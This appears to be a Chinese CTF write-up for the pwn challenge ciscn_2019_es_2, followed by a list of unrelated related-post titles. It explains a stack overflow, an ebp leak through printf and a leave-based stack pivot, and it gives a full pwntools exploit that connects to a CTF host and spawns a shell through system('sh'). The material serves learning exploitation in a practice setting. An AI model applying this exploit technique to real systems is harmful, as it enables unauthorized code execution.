【CTF】ciscn_2019_es_2
解题思路
反编译
undefined4 main(void)
{EVP_PKEY_CTX *in_stack_fffffff0;init(in_stack_fffffff0);puts("Welcome, my friend. What\'s your name?");vul();return 0;
}void vul(void)
{undefined local_2c [40];memset(local_2c,0,0x20);read(0,local_2c,0x30);printf("Hello, %s\n",local_2c);read(0,local_2c,0x30);printf("Hello, %s\n",local_2c);return;
}void hack(void)
{system("echo flag");return;
}
从反编译结果来看,漏洞还是很清晰的,vul中的read函数提供了溢出点,hack函数提供了system函数调用。
难点&思路
首先是溢出点,从局部变量大小和读取长度限制来看,可以溢出,但是长度不长,经过测试,溢出点在第44字节处,也就是说,只能设置一个4字节返回地址。
undefined local_2c [40];
read(0,local_2c,0x30);
再就是hack函数,system的参数需要构造,但是从上面一条可以看出,普通的溢出没法构造更多的参数。
所以,难点就是如何扩展溢出长度?
从汇编和反编译代码来看,没有有效途径,但是有一个疑点:返回地址前面是ebp地址,如果溢出只能覆盖到返回地址,那么另外一个能影响的就是ebp,是否可以通过控制ebp来控制下次的执行?
经过反复调试发现,返回地址为leave会将栈址降低,跳到局部变量范围,那就可以通过read函数输入需要的参数信息。
然后,剩下最后一个问题,ebp的地址如何设置?
vul的两次read和printf很值得分析,从前面分析得知,read长度限制只比局部变量多8个字节,这8个字节就是ebp以及函数返回地址,而printf以字符串格式打印,那将局部变量全部填充为非0字节,就能打印出后面8个字节的内容。(如果8个字节中有0x00,那确实也会存在阶段的问题),还好,经过测试,该方法有效。
解题脚本
from pwn import *context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
#sh = process('./ciscn_2019_es_2')
sh = remote('node4.buuoj.cn',28365)
vuln_addr = 0x08048625
system_plt = 0x08048400
vuln_leave_addr = 0x080485fdsh.recvline()
pad = '0'*39
sh.sendline(pad.encode())
text = sh.recvline()
text += sh.recvline()
addr_s = text[47:51]
ebp_addr = int.from_bytes(addr_s, 'little')
print("addr:%#x" % ebp_addr)#ebp_addr = 0xffffd2c8
#exp = 'sh'.encode() + p8(0) + p8(0) + p32(0) + p32(0) + p32(system_plt) + p32(vuln_addr) + p32(ebp_addr - 0x38) + p32(0)
exp = p32(system_plt) + p32(vuln_addr) + p32(ebp_addr - 0x38 + 12) + 'sh'.encode() + p16(0)
payload = exp + ('2'*24).encode() + p32(ebp_addr - 0x3c) + p32(vuln_leave_addr)
sh.send(payload)
sh.recvline()with open('payload.txt', 'wb') as f:f.write(('0'*47).encode() + '\n'.encode())f.write(payload)sh.interactive()
总结
跟之前一样,这个思路其实也是比较快就想到了,但是卡在如何利用ebp来跳转上,费了很多时间,没想到leave还会降低栈址, 其中的ebp_addr-0x3c经过实验得出;另外就是在做本题时,在本机实验时,system不会wait,导致排查费了较多时间,谁知上靶机刚刚滴,没有任何问题,欲哭无泪。。。
【CTF】ciscn_2019_es_2相关推荐
- 【ctf】ret2text
PWN ret2text 题目链接:ret2text 参考博客:CTF Wiki 基本 ROP 参考视频:[CTF]Linux PWN入门 Bamboofox社课系列 0x01 下载ret2text文 ...
- 【CTF】实验吧 困在栅栏里的凯撒
题目先提到栅栏,再提到凯撒,按照顺序先栅栏解码,再凯撒解码. 一般密码的开头不是flag就是key或者ctf 所以选择"6栏",在进行凯撒解码 在所有组合中,发现CTF即为flag
- 【CTF】实验吧 古典密码
一共是35个字符分成5*7或者7*5 最终选择5行7列 首先变动第一行的位置,然后根据第一行变动的位置,依次变动下面的行 OCU{CFT ELXOUYD ECTNGAH OHRNFIE NM}IOTA ...
- 【CTF】实验吧 围在栅栏中的爱
对摩斯密码进行解码:kiqlwtfcqgnsoo QWE是键盘上的前三个,ABC是26个字母的前三个.所以,二者有这样的对应关系. #include <stdio.h> #include ...
- 【CTF】实验吧 奇怪的短信
和实验吧 The Flash-14有些类似,总共的数字数目是偶数,所以两两分开,题干中的"短信"是提示,观察两两分组的第二个数字没有超过四的,可以想到手机上的九键 例如第一组数:3 ...
- 【CTF】实验吧 The Flash-14
标题的提示是:闪电侠的第十四集用到的加密方式(看来写CTF题要无所不知,不然咋能想到是一部剧) 根据两两一组将数据分类 54 43 32 52 22 44 55 34 22 51 ...
- 【CTF】实验吧 传统知识+古典密码
对照顺序写下: 根据对应的干支得到 28 30 23 8 17 10 16 30 +甲子 所有的数加60 得到 88 90 83 68 77 70 76 90 找到ASCII码对照表可得到XZSD ...
- 【CTF】记录一次CTF比赛的Writeup(附题目下载地址)
0x00 前言 最近因为省赛快来了,因此为实验室的小伙伴准备了这次比赛,总共10道题目,考虑到大多数小伙伴都刚从大一升到大二,因此整体难度不高,当然有几道难度还是有的. 题目大多数都是从网上东找西找的 ...
- 【CTF】CTFHub------历年真题-暴力破解/word文件本质/图片修复/数据包分析一/滴答滴答/栅栏解救/磁盘恢复
文章目录 历年真题 暴力破解 word文件本质 图片修复 好孩子看不见 数据包分析一 滴答滴答 栅栏解救 磁盘恢复 相关知识 CTF中常见的文件头和文件尾 历年真题 暴力破解 1.下载题目附件,发现加 ...
最新文章
- 为什么要引入模式概念来设计软件
- 安卓手机怎么查看iccid_安卓便签敬业签怎么查看日历月视图中一天所有的新增内容?...
- c语言定义可变长度的数组,有没有办法在c中创建一个可变长度数组全局?
- Cpp 对象模型探索 / 虚函数的调用方式
- windows连接投影仪后桌面画面和白板画面不一致
- python 头条 上传_Python+selenium自动化之文件上传
- 小技巧来助阵 玩转Google Chrome(谷歌浏览器)
- Segnet的caffe训练环境搭建
- (转)Django ==== 实战学习篇九 在session中保存购物车
- Spark Yarn Client模式spark.driver.host导致 Cannot assign requested address: Service ‘sparkDriver‘ failed
- 前端接收pdf文件_原生ajax请求获取pdf文件流本地下载(支持谷歌IE)
- 15.2. 网络监控
- 在ASP.NET Atlas中调用Web Service——介绍及简单应用
- C#调用新浪微博API生成RSS资源文件
- Win10,Win11家庭版开启远程桌面接入功能-有详细操作截屏
- 南阳oj STL分类练习
- 做一个视频通话给自己用吧
- Hugging Face 的 Transformers 库快速入门 (一)开箱即用的 pipelines
- 无法访问计算机0x80070035,出现错误代码0x80070035,无法访问共享文件夹,解决方法...
- R语言 sub()用法
热门文章
- 都在说软件测试真的干不到35岁,那咋办呢...我都36了...
- Win7进入mysql环境命令_怎样在win7中使用命令行启动mysql数据库服务
- windows大小写,切换键修改lock or shift
- 我谈阶梯博弈( Staircase Nim )
- 重极限 连续 偏导数 全微分
- KNIME Python Integration安装配置指南
- 浅谈PCA到PCANet
- vscode找不到执行文件导致更新失败
- [含lw+源码等]微信小程序点餐|外卖|餐饮系统+后台管理系统[包运行成功]
- gif一键抠图 在线_手机一键抠图去背景||电脑抽奖软件